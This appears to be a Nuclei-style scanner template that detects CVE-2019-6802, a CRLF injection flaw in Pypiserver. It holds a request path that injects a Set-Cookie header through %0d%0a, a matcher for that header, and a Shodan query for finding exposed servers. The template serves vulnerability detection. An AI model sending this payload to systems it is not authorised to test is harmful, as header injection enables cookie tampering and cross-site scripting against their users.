41 lines
1.4 KiB
YAML
41 lines
1.4 KiB
YAML
id: CVE-2019-6802
|
|
|
|
info:
|
|
name: Pypiserver <1.2.5 - Carriage Return Line Feed Injection
|
|
author: 0x_Akoko
|
|
severity: medium
|
|
description: |
|
|
Pypiserver through 1.2.5 and below is susceptible to carriage return line feed injection. An attacker can set arbitrary HTTP headers and possibly conduct cross-site scripting attacks via a %0d%0a in a URI.
|
|
remediation: |
|
|
Upgrade to Pypiserver version 1.2.5 or later.
|
|
reference:
|
|
- https://vuldb.com/?id.130257
|
|
- https://github.com/pypiserver/pypiserver/issues/237
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-6802
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2019-6802
|
|
cwe-id: CWE-74
|
|
epss-score: 0.00113
|
|
epss-percentile: 0.44625
|
|
cpe: cpe:2.3:a:python:pypiserver:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: python
|
|
product: pypiserver
|
|
shodan-query: html:"pypiserver"
|
|
tags: cve,cve2019,crlf,pypiserver
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/%0d%0aSet-Cookie:crlfinjection=1;"
|
|
|
|
matchers:
|
|
- type: regex
|
|
part: header
|
|
regex:
|
|
- "^Set-Cookie: crlfinjection=1;"
|
|
# digest: 490a0046304402200a9e38cff342eda3600f9a2c6b7f36c6ae147d227d4871dcda62342af27fa6a80220112c9703364dd8cf5e9c5a021d6cc2beb03a946c5ec975a660249c302d94744f:922c64590222798bb761d5b6d8e72950 |